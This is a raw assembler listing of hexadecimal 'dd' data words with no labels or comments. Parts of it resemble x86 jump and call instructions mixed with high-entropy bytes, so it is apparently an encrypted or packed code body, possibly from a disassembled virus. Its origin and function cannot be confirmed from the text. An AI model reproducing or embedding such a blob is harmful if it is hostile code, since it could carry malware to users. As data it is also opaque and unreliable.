		dd 56A1F6E6h, 92A91B8h,	3FFF91Fh, 9F653618h, 0EF9932B2h
		dd 4B9916B9h, 56B3996Eh, 0B29CE40Ah, 0B4787401h, 65E55DB9h
		dd 12DA9C4Ch, 9E29BC7Dh, 8D18C0BCh, 0B61883C0h,	5FE9AFB4h
		dd 52000001h, 0E860D48Bh, 0
		dd 0D4ED815Dh, 8B06B31Bh, 453D0842h, 0F782638h,	13885h
		dd 0C428B00h, 0D3184A8Bh, 0ADDABBC8h, 0C3335B7Eh, 8904E883h
		dd 0AC2F0D85h, 4588B06h, 428BF88Bh, 184A8B10h, 0F3BEC8D3h
		dd 33EBD4C6h, 83C72BC6h, 0E883FCE0h, 5858904h, 8B06AC1Eh
		dd 85891442h, 6AC27F1h,	5318428Bh, 0B0E9h, 25B5FF00h, 0E906AC09h
		dd 0B9h, 0D79B5FFh, 0AEE906ACh,	0FF000000h, 0AC3009B5h
		dd 0A3E906h, 0B5FF0000h, 6AC270Dh, 98E9h, 3DB5FF00h, 0E906AC25h
		dd 8Dh,	1155B5FFh, 82E906ACh, 0FF000000h, 0AC118DB5h, 77E906h
		dd 0B5FF0000h, 6AC2FF5h, 6CE9h,	1B5FF00h, 0E906AC28h, 61h
		dd 2DA1B5FFh, 56E906ACh, 0FF000000h, 0AC271DB5h, 4BE906h
		dd 0B5FF0000h, 6AC33E5h, 40E9h,	0C5B5FF00h, 0E906AC30h
		dd 35h,	0E09B5FFh, 2AE906ACh, 0FF000000h, 0AC28B1B5h, 1FE906h
		dd 0B5FF0000h, 6AC0EA1h, 14E9h,	0B8D88B00h, 0Bh, 8DE3F766h
		dd 0B31C358Dh, 0FFC80306h, 0F995FFE1h, 5B06AC0Bh, 2F0D858Bh
		dd 583906ACh, 0F850F04h, 53000000h, 95FF016Ah, 6AC2145h
		dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh
		dd 6AC14F9h, 1D238D8Dh,	418906B3h, 0E8C38B01h, 13h, 6D7434EEh
		dd 0A80CA298h, 6C50C3D1h, 2E09BB0Dh, 585F5FD7h,	10E9h
		dd 0C188900h, 958815BEh, 0D7BDF4C3h, 0C4F2D964h, 0D5C08170h
		dd 0B900005Bh, 7DB872F7h, 820FDB33h, 0
		dd 8118148Bh, 5835F1F2h, 81C88B2Dh, 0F27A16EAh,	8149B552h
		dd 0FC1AA1EAh, 10880F77h, 0E8000000h, 8, 0FA566302h, 9D3CCA78h
		dd 895E5E52h, 840F1814h, 2Ah, 12E8h, 0A607B00h,	37651E4Eh
		dd 0FB46AC5Ah, 0F072E251h, 0E9EB4883h, 0Dh, 4A2930ABh
		dd 0BF506CE5h, 4FAEB0B8h, 83F85982h, 12E901EBh,	7E000000h
		dd 8153E4Dh, 0BA764FC2h, 0CD444F80h, 91B50B4Dh,	4B4B4BBDh
		dd 0FB815E53h, 0FFFFA500h, 0FF72850Fh, 9E8FFFFh, 0B000000h
		dd 469F9982h, 73040624h, 0BBE95Eh, 3A960000h, 9CD756A2h
		dd 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h
		dd 20A7ECABh, 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h
		dd 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h
		dd 95ACA3F2h, 97B1EF76h, 0B4F94E00h, 5C009FA5h,	4AF07B6Bh
		dd 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh
		dd 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh,	20B293BCh
		dd 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh
		dd 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0F1B6D000h
		dd 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 150AE900h, 0A1680000h, 0E906B320h
		dd 0FFF95F38h, 0B321BD68h, 5F2EE906h, 9068FFF9h, 0E906B322h
		dd 0FFF95F24h, 0B323B068h, 5F1AE906h, 4C68FFF9h, 0E906B324h
		dd 0FFF95F10h, 0B324DF68h, 5F06E906h, 6B68FFF9h, 0E906B325h
		dd 0FFF95EFCh, 0B3261868h, 5EF2E906h, 0B868FFF9h, 0E906B326h
		dd 0FFF95EE8h, 0B3280068h, 5EDEE906h, 0D468FFF9h, 0E906B328h
		dd 0FFF95ED4h, 0B32A9068h, 5ECAE906h, 9B68FFF9h, 0E906B32Bh
		dd 0FFF95EC0h, 0B32D5D68h, 5EB6E906h, 7C68FFF9h, 0E906B32Eh
		dd 0FFF95EACh, 0B3307968h, 5EA2E906h, 8468FFF9h, 0E906B331h
		dd 0FFF95E98h, 42833BD6h, 20E11DF2h, 83427A90h,	0E223DB33h
		dd 0C203BB52h, 0E20946BFh, 0B15BEB2Ah, 0E804B475h, 0AC5DED2Ch
		dd 0A9F8B170h, 0E016C61Ah, 0A02C0BE8h, 0B171AD5Eh, 0EF2EE607h
		dd 0F7244E8Ah, 2F289144h, 32F2DEE5h, 0F935D565h, 291A9339h
		dd 0F63F54EFh, 2FCBA783h, 39E8AAABh, 48A1h, 4F8B2D00h
		dd 59EACF39h, 0EF933603h, 784A6448h, 309A5A92h,	8B7DCD1Eh
		dd 0B0399353h, 3B63D261h, 0C4E8E52Fh, 9FF54617h, 0ECF63F3Fh
		dd 3E8B49C0h, 0F63F3FE6h, 38D4B094h, 39E8B9BCh,	0BFB4h
		dd 33D56500h, 18913BFBh, 71AD5E94h, 2CE807B1h, 75B15AECh
		dd 5A6F0CA6h, 13999379h, 0FDEE589Ah, 43B300C1h,	0ADEF9305h
		dd 0F141803Ch, 4B1CDC18h, 18D814FBh, 1ADE3BB2h,	68467E6Ch
		dd 185908BBh, 8AA6E52Fh, 80EA2E4Bh, 0B74CE053h,	7D51EBCEh
		dd 37EF1EAEh, 64B454E4h, 0EF664884h, 0B3D77D2Ch, 63B90A14h
		dd 0A8FCED91h, 0E15DAC84h, 7594A42Dh, 7D7D51B9h, 5B67686Ah
		dd 129D17h, 0D814FF00h,	8844A919h, 0DB13F949h, 8A42AA1Ah
		dd 0D814FB4Bh, 0CE9D6419h, 9626E71Fh, 0C979B874h, 9828E925h
		dd 3F76B76Fh, 1587DD6Eh, 0F3D4E8E0h, 77AF5E7Fh,	5B6E7B6h
		dd 0EF9335CFh, 89B9301Ch, 6965A460h, 0F6254F8Bh, 2F3BF445h
		dd 0A14979E5h, 0B8A3FE63h, 69476207h, 39F4BF41h, 7C52EFFEh
		dd 0B3CF09BCh, 87A3F63Fh, 6BFD57EBh, 46756D8Dh,	0B135BC35h
		dd 0BB39E897h, 0DAh, 71AD5E37h,	0B33E08A2h, 0EAC2FA12h
		dd 33BAE2F6h, 6CA847F1h, 2BE30FBFh, 0AC841EBh, 92BC4FBFh
		dd 9450B9EFh, 0ED24ED47h, 32EAAE76h, 1FC878BBh,	0B973A91Ah
		dd 94B8EF92h, 0DD197ABAh, 0DFC373B1h, 9C36F62Eh, 3843A8B4h
		dd 0E424E00Ah, 0B3604Eh, 0E52E6951h, 2273B29Eh,	7CBC7892h
		dd 7EBA5FD6h, 0AF74C714h, 78EBCE0Bh, 9469A29h, 0BB8BFCEDh
		dd 0F45E9E56h, 6C4653DAh, 39347E62h, 0F427094Eh, 368A645Eh
		dd 8E07EA43h, 4EBE0E5Fh, 0C02F1F96h, 9675C504h,	72DEB65Eh
		dd 8AB66869h, 1181C6h, 0D410E300h, 8C48A515h, 0D70FFD4Dh
		dd 8E46A616h, 0D410FF4Fh, 0D2916815h, 0F242833Bh, 0AD1DDC18h
		dd 0F4448541h, 531ADB13h, 145BB102h, 87A0E8E0h,	77AF5E0Bh
		dd 29E506B6h, 0AD5EE4E8h, 56E6B171h, 13B979B5h,	850CC821h
		dd 599854B5h, 0BCB03E9h, 51904CBDh, 0BF5BB000h,	0FC56964Eh
		dd 8BFE5BD2h, 20F3995Dh, 2F42F293h, 618FBFE5h, 0B5C965A5h
		dd 93133C2h, 7EAD83ADh,	0B16D9F2Fh, 3F9D4C80h, 34BD91F6h
		dd 0AD2A63D6h, 3B3DCB5h, 5BBE37EFh, 9526F59Fh, 0E365DAECh
		dd 3E5D9DB1h, 0F04390FAh, 0EA066981h, 0F04E60CAh, 8251C248h
		dd 149D59B0h, 4EFE2D01h, 2B2619Dh, 5AF030ECh, 47A010D3h
		dd 15F65389h, 113F67BFh, 0A1F5B1F9h, 93DFE366h,	10AEh
		dd 2AEB23CEh, 78B9759Ah, 2BEA22C8h, 7ABB739Bh, 2AEB23CAh
		dd 0AE1AE57h, 49A313D2h, 10FC4C8Dh, 44A515D4h, 51004988h
		dd 0E013AEE2h, 58D4F3E8h, 2BE30FBFh, 0F8C841EBh, 7417D70Fh
		dd 0BA09DAB0h, 0E52F534Fh, 0CB03E858h, 3D28A10Bh, 71B5D011h
		dd 0C27BC81Bh, 0BEBDB79h, 0A7DB11A1h, 8C059A39h, 0C075B599h
		dd 0FCEC0988h, 0C6224E6Ah, 321C6342h, 8440A818h, 43820Dh
		dd 8B0E0000h, 5CF6254Fh, 28B6C0E0h, 0EC3DB4D4h,	2F13B85Fh
		dd 0A31041E5h, 0F63F1F6Dh, 2179EB2h, 0A04DFD2Eh, 8C3CED64h
		dd 0D665A460h, 0F63F1F80h, 6C7FFE8h, 71A25AB6h,	2CEC28C1h
		dd 81CD0F86h, 0FF2h, 254F8B8Bh,	0F717A7F6h, 5885B63Fh
		dd 65E52656h, 0C12A9A49h, 9374C405h, 3CF89B5Bh,	0C0368556h
		dd 4DEBD945h, 0F318B261h, 0FAA1F529h, 8C63BA27h, 113F15AFh
		dd 10F94998h, 0F44415D4h, 0F22AC713h, 76B69832h, 846555DCh
		dd 2FEB8848h, 5977AF59h, 8384398Ah, 0A589F295h,	2264234Dh
		dd 2965596Fh, 0F8Eh, 0ACB03EEh,	589955BAh, 0BCA02E8h, 5A9B53BBh
		dd 0ACB03EAh, 2AC18E77h, 698333F2h, 30DC6CADh, 648535F4h
		dd 712069A8h, 0E0128EC2h, 78F4D3E8h, 24E00FBFh,	0A8664EE4h
		dd 3565F29Ah, 91CBF871h, 2EEF9270h, 0E05380EAh,	0E5256352h
		dd 4E866BDBh, 2DFED2C7h, 71B16D9Dh, 33F32BC7h, 6685B799h
		dd 46F627AEh, 40EE6FA5h, 0B222F2A8h, 0AD1E4F9Ch, 0F6458377h
		dd 0A261E8C4h, 0EE3DF912h, 689C6E44h, 0E66FDE1Fh, 0E9834724h
		dd 0E53C893Ah, 0AD81EBE1h, 6EA23145h, 0DB97AB68h, 0EF2h
		dd 6C7FF12h, 5C9D59B6h,	7C6FEECh, 5E9F57B7h, 6C7FFEEh
		dd 26C5827Bh, 6D9F2FEEh, 2CC070B1h, 688131F0h, 75246DACh
		dd 0E01192C6h, 74F8DFE8h, 0B171AD5Eh, 0EE2EE607h, 3488E4C4h
		dd 0FA57F09Eh, 0A22B18A7h, 0BBE3AF2Bh, 930A5C0h, 8B290000h
		dd 45F6254Fh, 0E52628C2h, 0C070A38Fh, 7F2EEF27h, 32E11DCFh
		dd 46544B81h, 35BC90F6h, 0E828E405h, 2AE20FBFh,	0FAC940EAh
		dd 0F64654A2h, 62B1DB1Fh, 0E27264D1h, 6D85A9EBh, 686F2F5Fh
		dd 5FE5A995h, 8100000Eh, 0C777B66Eh, 8333F22Ah,	0C070B16Dh
		dd 9D2DEC28h, 0A77B66Eh, 9955B4F3h, 0C6FEE858h,	0A35BB707h
		dd 0FD39D262h, 9724753Ch, 0E8E01141h, 5E25A98Eh, 7B171ADh
		dd 0C4EE2EE6h, 0E86C88E4h, 0E0C0BB4Bh, 8A6h, 36035D6Ch
		dd 7CB8EF93h, 9576C516h, 0DAE52628h, 749525F6h,	20C979B8h
		dd 227324E4h, 46543B91h, 25AC80F6h, 9A7204C0h, 359F4C62h
		dd 6B3070B2h, 33E26BDCh, 0E2E53580h, 0BE567AEBh, 686FA194h
		dd 0D33C704Ch, 3500000Dh, 53E322DAh, 77C706BEh,	2C9C5D99h
		dd 71C100BCh, 0DEA3629Ah, 45816827h, 1AD23484h,	4F876BDBh
		dd 11CD3E8Eh, 7BC899D0h, 0E8E01125h, 0BFC14D6Ah, 36075DEEh
		dd 7854EF93h, 0EC28C1F1h, 0B5719A2Ch, 0FD39D666h, 0BC9CB674h
		dd 4BB034D0h, 0BB8C0BBh, 34000008h, 0F6254F8Bh,	3CF817A7h
		dd 279A86B5h, 0B27E526h, 0BA7F68D8h, 4653D309h,	63418F6h
		dd 58F232EAh, 0E607B776h, 9D4DFD2Eh, 9F2AE861h,	0F6465345h
		dd 7D4BE7Ah, 51EDFC56h,	7EA22EBBh, 2179C4F7h, 0B202EBE3h
		dd 41AE9C58h, 35190C85h, 6FDEBBDDh, 612D1168h, 0D26h, 0B273AB46h
		dd 0F031ED02h, 0B372AA40h, 0F233EB03h, 0B273AB42h, 927936CFh
		dd 0C12B9B5Ah, 9874C405h, 0BC2D9D5Ch, 0D988C100h, 0E010366Ah
		dd 0D05C7BE8h, 0B171AD5Eh, 0BFBD4CE6h, 0FDA7F18Bh, 8CB8F6D5h
		dd 65EC90DCh, 0B878B455h, 3AD6B292h, 0C0BB69BEh, 75DB2h
		dd 85D3E00h, 0A5EF9336h, 6BD80B61h, 0E52628DAh,	4918CBE7h
		dd 0E7D511F9h, 0B812D20Ah, 2CE80131h, 0F4A655FFh, 0E5B3E5FCh
		dd 0EE1FAF6Ch, 5195F636h, 9B9E83Bh, 4DE727DFh, 0F656F7C4h
		dd 371BEBE2h, 6FB44FDFh, 69251968h, 0C86h, 12D30BE6h, 50914DA2h
		dd 13D20AE0h, 52934BA3h, 12D30BE2h
		dd 32D9966Fh, 618B3BFAh, 38D464A5h, 5C8D3DFCh, 792861A0h
		dd 0E00F96CAh, 70FCDBE8h, 0B171AD5Eh, 0DE32E607h, 624CE626h
		dd 965C7A2h, 0BA7BB354h, 0BB4F37B3h, 1413DC0h, 5EB10000h
		dd 437B6DADh, 0F21BAD6Dh, 8B8E93Ah, 0C61A2BE3h,	34EF9335h
		dd 772826AEh, 0C203725h, 0E7234685h, 38ED5E8Dh,	85E52E71h
		dd 56D07AA9h, 0CCE62047h, 48FD3FB6h, 0F63ED810h, 0D99F35E2h
		dd 0B7C6932Dh, 117D5FD6h, 0EF0271F5h, 0DC8F2539h, 0C3C79AD9h
		dd 38CD42CBh, 41000000h, 0F6254F8Bh, 6D862B5Ch,	23AAF2E6h
		dd 0B9F041F2h, 517DE52Eh, 9776C691h, 5D73AB43h,	0BDADE7D4h
		dd 694DF63Eh, 3765E1FDh, 813139EFh, 0D973B36Bh,	0A3DF50h
		dd 5E530000h, 7B171ADh,	1CD830E8h, 0BA51E132h, 0FF498B02h
		dd 0B505D60Eh, 0D5179E56h, 93528A63h, 9359E220h, 0CF41EBEFh
		dd 1ECC8906h, 69A96584h, 5464EDC3h, 0EBBA7BB3h,	928DC841h
		dd 87545B48h, 9348E034h, 88012DEFh, 10C3A96Dh, 48D49A0h
		dd 0E93F66D5h, 604CE522h, 30EC03B3h, 72AA41F1h,	0BEA11A9Ah
		dd 3A764A61h, 0B3Eh, 0BA7BB35Eh, 0E829E50Ah, 0BB7AB258h
		dd 0EA2BE30Bh, 0BA7BB35Ah, 9A713EC7h, 0F913A362h, 0A04CFC3Dh
		dd 0F415A564h, 0E1B0F938h, 0E00DFE52h, 0E86443E8h, 0B677AF5Eh
		dd 0E829E506h, 71AD5EE4h, 2EE607B1h, 584A5EFh, 8BAF0000h
		dd 45F6254Fh, 0E52F52B0h, 0E45191BDh, 0F63F5AACh, 0E2FE6A4Eh
		dd 39E89466h, 2A26Ah, 0A5DE600h, 93EF9336h, 0C2518839h
		dd 3AD61AB6h, 0C6E84282h, 46EAA4Fh, 0DA3686D7h,	0B654E222h
		dd 3A14BE7Eh, 7DB780B3h, 2804E525h, 0F01AAAFBh,	6F5EF434h
		dd 0F645AA39h, 0F223AA86h, 0BE6DA942h, 0E621DF0Eh, 0FC35BCA6h
		dd 11D25B75h, 5F8C48A1h, 9194FF5h, 6DE490E8h, 6208CCAFh
		dd 198302B1h, 6448EBE2h, 6ED72E8Ch, 561A2668h, 0A6Ah, 6EAF678Ah
		dd 34F531DEh, 6FAE6684h, 36F72FDFh, 6EAF6786h, 0AE5DEA13h
		dd 0E507B776h, 0B458E829h, 0E009B978h, 0FDACE524h, 0E00E1A4Eh
		dd 0CC4067E8h, 0B171AD5Eh, 0D004B7E6h, 1DEF9335h, 5F88B831h
		dd 0D16257BBh, 0EF93357Bh, 2C2ECC0h, 0F04686A8h, 0A91FDF17h
		dd 0BF779545h, 43635191h, 0DE8F6E27h, 41B5F774h, 8E078B77h
		dd 6C9DC0ACh, 902071B0h, 0BF36BF77h, 0C0BB523Bh, 1B631h
		dd 0AD5EBD00h, 0E607B171h, 9B4DFD2Eh, 8A754B63h, 1E154E77h
		dd 0AF055497h, 0B41F869Dh, 0A84DC478h, 66D5066Ch, 0E52F20B3h
		dd 8ADE6D3Ch, 0D7F63F4Ch, 4B6772FBh, 4CE63E8Bh,	4394F63Fh
		dd 4C6BA112h, 9AB0F63Fh, 8D8961FBh, 7AF3DD0Dh, 54D02C58h
		dd 5C39E8D4h, 5Ah, 16CE3D8Dh, 0A9A07AD6h, 0AE80DA2Ah, 8B850980h
		dd 45F6254Fh, 0E52F3BF4h, 759C5379h, 1FA84BDAh,	0C44F131h
		dd 74F63FFEh, 2E985894h, 0EBC505C1h, 4EE69FCBh,	0ABAFE6Ah
		dd 44EE2EE6h, 77C044CDh, 0DAC839E8h, 19000000h,	9A5FB48h
		dd 9D2EF640h, 0F6400947h, 83AFB894h, 0AD5E860Ah, 0E807B171h
		dd 0DD1DD930h, 2F995977h, 65D506BEh, 0F5EF4886h, 5F1A4FF9h
		dd 77AF4371h, 56941DB7h, 0ECF07E0h, 92B82DBDh, 0BE7697EFh
		dd 0CC7F2E7Fh, 0EF92DE98h, 889BFADAh, 46513511h, 6EF02497h
		dd 113DEF92h, 9753B63Fh, 729E2EFDh, 51E233BAh, 0E5220F08h
		dd 0BBEA3915h, 0F0359EAh, 6448F641h, 410EFF55h,	0E9604CF6h
		dd 0A5618838h, 3216DC76h, 59F01950h, 4CA313D0h,	4A2D5096h
		dd 3C12263Eh, 0BD365CD4h, 4C7061h, 8AEh, 2AEB23CEh, 78B9759Ah
		dd 2BEA22C8h, 7ABB739Bh, 2AEB23CAh, 0AE1AE57h, 49A313D2h
		dd 10FC4C8Dh, 44A515D4h, 51004988h, 0E00BAEE2h,	58D4F3E8h
		dd 0B677AF5Eh, 0E829E506h, 6DAD5EE4h, 0C866467Ch, 12A1427Ch
		dd 7856FC3Ch, 0DCDD0EB8h, 77467E6Ch, 0EF930321h, 0AD6C426Eh
		dd 639B4CFCh, 2D820EAh,	26770000h, 93023F95h, 0A00FB3EFh
		dd 0FA4EA655h, 1BF3C1EDh, 8BE66AE3h, 45F6254Fh,	0E5265754h
		dd 40F53519h, 0F6465508h, 46A2CEEAh, 39F7AEC2h,	27FC6h
		dd 47A71700h, 5D8A068Fh, 0EF93360Ah, 0DA0963A7h, 0CC45816Ah
		dd 56B7AE1Dh, 0A884E526h, 8B5CD17Bh, 550D191Eh,	4CBD0DDCh
		dd 8E15190h, 3CFC38D0h,	0A2F64596h, 0EFF64696h,	6F3EEDC3h
		dd 0C7F62EDFh, 0F6469691h, 0B97BF2DEh, 0A7741EDAh, 71A946F6h
		dd 0B3735D99h, 22A39019h, 2BEBE29Ch, 7FBF779Bh,	137B89D3h
		dd 654B9937h, 3DD5F9ECh, 686FC2D9h, 0A3F3BF83h,	0C5000007h
		dd 8333F22Ah, 0C777B66Eh, 9C2CED29h, 0C171B06Ch, 4E33F22Ah
		dd 0D511F8B7h, 8A42A414h, 0DF17FB4Bh, 813DAE1Eh, 0EB580940h
		dd 0E8E00AB5h, 5E51DDFAh, 12A271ADh, 54883BFEh,	99EF9335h
		dd 0F15B9BB5h, 0DB0CBA78h, 67B96125h, 4EA3C3EBh, 0D2FC5696h
		dd 0FB593CFCh, 1821CA8Fh, 92E275ABh, 0B896BAEFh, 1CF47079h
		dd 9DFCC0BBh, 70000001h, 21DD0FBFh, 0E96ADF09h,	2AA3E8E3h
		dd 0E635F11Ah, 0B979B556h, 0EE589A13h, 6500C1FDh, 4F5FCDA1h
		dd 32D05E69h, 1C32EA00h, 0C6A97CCFh, 0DAF6E52Eh, 0F275AF1Ah
		dd 2105F63Eh, 82DA945h,	0D37939EFh, 0B5EC759Ah,	65BB0879h
		dd 0AAF63F2Ch, 0AE21A886h, 70h,	0E00FBF22h, 8C48AD24h
		dd 0A3F94A1Bh, 0E8EF9335h, 359FF5C4h, 0D4D3EF93h, 0C9A1A21Bh
		dd 8260A1Dh, 4E866BDBh,	54A516C7h, 0D9E52EE0h, 0A694CF3h
		dd 0F3DDF491h, 0E6CE6433h, 800AECF2h, 0D830038Ah, 9AF63F24h
		dd 3EAC1C4Dh, 0DDEC4686h, 0F63F2487h, 246DA310h, 9EB2F63Fh
		dd 0C576A589h, 0F63F248Fh, 5B79F0DCh, 5E57D32Fh, 0CB5D39EFh
		dd 0D1000000h, 0B171AD5Eh, 0EC2CE807h, 0A675B15Ah, 0CE23F716h
		dd 54F83816h, 0BC6D061Bh, 0E4D6F8E8h, 8341C804h, 0D918D435h
		dd 90140C6Ah, 3E555EFh,	997242CBh, 0AD6DA941h, 18D43507h
		dd 5692F736h, 0DBEEF3Ch, 0EF9338D7h, 0B200824h,	38198D5Fh
		dd 0B201D059h, 0E5230B6Bh, 0D5E404B4h, 420B3266h, 7D537FF6h
		dd 6130E1F4h, 420A7ED2h, 0DEEFC3F6h, 0F6420A8Ah, 6D5FBD7h
		dd 149D59B6h, 5E9675C5h, 8E7ECE9Fh, 0EFDF56h, 0C2F02CC4h
		dd 98A461BEh, 5E1D4h, 34F00300h, 6CA845F5h, 37EF1DADh
		dd 6EA646F6h, 34F01FAFh, 327188F5h, 52E223DBh, 0DBD7CB8h
		dd 54E425E1h, 0F3BA7BB3h, 8BB11A2h, 2700E8E0h, 77AF5EABh
		dd 29E506B6h, 0AD5EE4E8h, 0E607B171h, 27A5EF2Eh, 0AF000000h
		dd 7D6DAD5Eh, 19AF6F41h, 57E734F0h, 15BF7FB7h, 5CDC563Dh
		dd 9019EF59h, 24406052h, 9D5C9871h, 33D7h, 0FBFDD00h, 41EB2BE3h
		dd 87250169h, 2CA506D9h, 0F333EB1Ch, 929E0F46h,	0A1CDEDEFh
		dd 853BAD1Dh, 21C1C3B7h, 5F9FB179h, 9B4C7CF5h, 9B5B937Fh
		dd 0D2DE1F31h, 0B171AD5Eh, 0AF7C16D2h, 2656D11Ch, 21F2DEE5h
		dd 6FBC7891h, 54578D3Eh, 88A4F646h, 9972C201h, 7ACA9D5Dh
		dd 0C117A495h, 0EF64654h, 60850C22h, 4C1DCEA4h,	0F54CAFE6h
		dd 3ABAC400h, 0AA260E28h, 5CB00335h, 0A1F6466Eh, 192AA38Dh
		dd 0EBD960A1h, 37EF1E2Eh, 0A0735DF7h, 0FE3FF710h, 0A1619D4Eh
		dd 0BF6C06C2h, 0E2AF44EEh, 9C7D1029h, 1E932615h, 0B498F296h
		dd 22FF065Ch, 0AEE2DE6Fh, 4C2h,	0D617CF22h, 8C4D8966h
		dd 0D716CE3Ch, 8E4F8767h, 0D617CF3Eh, 0F61552ABh, 9D4FFF3Eh
		dd 0FC10A061h, 58B101C0h, 45145D9Ch, 0E007A2F6h, 44C8EFE8h
		dd 0B071AD5Eh, 0EF2FE700h, 7E68B059h, 0CDA86846h, 0F9C02C9Ch
		dd 9336164Ah, 59775BEFh, 98BA3399h
		dd 9840A9ECh, 5A9BB571h, 0BB4FD753h, 0DD3383C0h, 0B41F221h
		dd 50EF9342h, 4D7AF57Ch, 0F6000000h, 0F6254F8Bh, 0DF6FA546h
		dd 0DAB6B58Ch, 0C864A48Ah, 53155653h, 0F47D53EFh, 0F8F19625h
		dd 8EBEE52Eh, 0CE64A460h, 6F8333E0h, 8DC576B7h,	0F7F63F04h
		dd 0F129C216h, 0ECEE01Ch, 0FB4B8AA4h, 531FDF17h, 40Eh
		dd 9B53B404h, 0F478F15Bh, 0B171AD5Eh, 0EF2EE607h, 0F7244E8Ah
		dd 0AD6DA947h, 0FF3FF71Bh, 23F27B55h, 3C902372h, 81EF9335h
		dd 421724ADh, 8FE52F28h, 9E3463A3h, 0DA1FD75Dh,	20139A38h
		dd 0F63F6BE8h, 26C2AE8Ah, 39E881A2h, 33A6h, 4F8B2A00h
		dd 0F445F625h, 0BDE52F3Bh, 1A2E8C17h, 5C569D14h, 0C99A2EE3h
		dd 0ACB9301Eh, 99B76F9Ch, 0DCB4EC59h, 6246F63Fh, 166EEA06h
		dd 1A6239E8h, 0EE000001h, 3DDD0FBFh, 0FA3A14D0h, 0E9D950h
		dd 3AFA32D8h, 0C87EBE90h, 7225E521h, 0F446F2D8h, 68F35CFh
		dd 0E605D536h, 6A44EE2Eh, 0AF2813B9h, 0A02E517Eh, 9275BD13h
		dd 2E02EFh, 0CFD4B89h, 754A9E2Dh, 0BB97EF92h, 7585DB68h
		dd 0E6CAEF92h, 46AB1BC8h, 7EB1A68Eh, 95FC19EBh,	1E6CDF1Ch
		dd 46EF92A4h, 18A869A5h, 94F737EFh, 0B8E93A50h,	92ADD50Bh
		dd 376DDEEFh, 84EF92AEh, 1A93BFA8h, 0B32178CBh,	426EE52Eh
		dd 4278D283h, 954804D5h, 0B0749118h, 0EB5809DAh, 0F63F0EB5h
		dd 8E5FD6FAh, 0CEABEE3Dh, 0CDFF3EBh, 1A934BBCh,	58947BCBh
		dd 0F7C22999h, 0A969A547h, 0B1DE3203h, 0F23FCEDh, 6A1FC921h
		dd 6955686Ah, 2C525h, 10CC2700h, 508C61D1h, 13CB2191h
		dd 528A62D2h, 10CC2393h, 1655ACD1h, 4EFE3FF7h, 11A1609Ch
		dd 0B000C1FDh, 175E9F57h, 59FF546h, 0CBECE8E0h,	77AF5E47h
		dd 0A645F5A4h, 3504AE6Eh, 0EF9335DFh, 36055BE8h, 664AEF93h
		dd 17D45D71h, 4F8E46A7h, 254F8B43h, 3BF445F6h, 0A879E52Fh
		dd 0F434F018h, 40396F5Eh, 0AA86F63Fh, 4A7282h, 0F7D9CE99h
		dd 0D74A8237h, 0C28F63Fh, 7C6CDC60h, 0A32A8040h, 0E811AE2Ah
		dd 0DAA239h, 5E2E0000h,	7B171ADh, 59EC2CE8h, 0EF9330E9h
		dd 6CA842F2h, 1448FBACh, 59EF933Bh, 7F735B75h, 2C08C52Bh
		dd 0FCEDDD54h, 58B101C0h, 82AC6880h, 5DB30051h,	0A2EF9379h
		dd 0BBC02D88h, 557B2C37h, 79DF3586h, 2CEF93h, 0EC284B89h
		dd 0AFE65586h, 0FCE52F7Dh, 5EB303D0h, 0FECC66A6h, 9F5CD511h
		dd 87543EFAh, 961FD737h, 2708F447h, 7955EBCFh, 3BF31AAAh
		dd 6BA34AFAh, 6ADCEB83h, 65291568h, 1BAh, 3EFF37DAh, 64A5618Eh
		dd 3FFE36D4h, 66A75F8Fh, 3EFF37D6h, 0FEEDBA43h,	55B707C6h
		dd 4E85899h, 50B909C8h,	4D1C5594h, 0E004AAFEh, 5CD0F7E8h
		dd 0B677AF5Eh, 0C72FE506h, 1599CDF8h, 5B2E17DFh, 58D60873h
		dd 5EF4A576h, 0C2D9239Bh, 0A1F7C615h, 0EEEF928Eh, 84884BC2h
		dd 0B171AD5Eh, 0FD2EE607h, 0ED64A04Dh, 0B16D9E2Eh, 0BCD61271h
		dd 30FC56Fh, 4CE50049h,	0F2A714C5h, 3FE52EB2h, 0A574D313h
		dd 0F939F515h, 8CF8DA53h, 42E220C9h, 68A44AB8h,	642A02A8h
		dd 0CF0E205Dh, 0D7046EAAh, 8C4C8867h, 1246F526h, 5FF63E47h
		dd 982BFA73h, 0EBDA5715h, 0C076B69Ah, 6D3CEF27h, 0EA758ADEh
		dd 72FBD7FCh, 0C6A282B0h, 3BE88246h, 86862588h,	4786AAF2h
		dd 1EDE16F7h, 1E8E44A8h, 8440AE6Eh, 0B2CBE2ACh,	0DFF4F9Ch
		dd 0DA499F2Ch, 0BA960396h, 78DF1D94h, 826B2E5Ah, 0C202BA56h
		dd 0D6874668h, 0B7548466h, 3DD8517Fh, 0F34093F9h, 0F932CF1Eh
		dd 398F4F63h, 62D414D0h, 2492528Ah, 0E0CE0EC6h,	0CEEDA4C0h
		dd 0CC0880ECh, 13C675A6h, 58FFDEEBh, 0B5E4B574h, 0EF12D206h
		dd 0BA331F10h, 22F19B5Fh, 0F62EC373h, 26159C36h, 68204CCh
		dd 2D7F3F95h, 81D0DDD5h, 0D872B26Ah, 0EB23C4F6h, 1D08812Bh
		dd 0C48E231h, 0F0B35AF3h, 0CA7CBE37h, 9424E521h, 0CE7BBB73h
		dd 0E78EA4B1h, 0EF533F1Fh, 0C2D70DBEh, 82467B2h, 0C33468DBh
		dd 557967B2h, 0C3FBECDCh, 9D59B202h, 0E85B0A5Dh, 67B2C2B4h
		dd 0B506D5F9h, 67B2C25Fh, 390980ACh, 72D515D1h,	88613450h
		dd 0CC3D8D4Ch, 39CD010h, 96000000h, 0B35E7200h,	0DC0DBB7Bh
		dd 0BA56E020h, 9274C202h, 0BD2C9A5Ah, 9877C101h, 0C22A9C5Ch
		dd 8E7CCA0Ah, 0CB209656h, 50DDD313h, 0BA52E089h, 4, 835AD001h
		dd 48704E8h, 89575C24h,	4C781E7h, 83000000h, 3C8704EFh
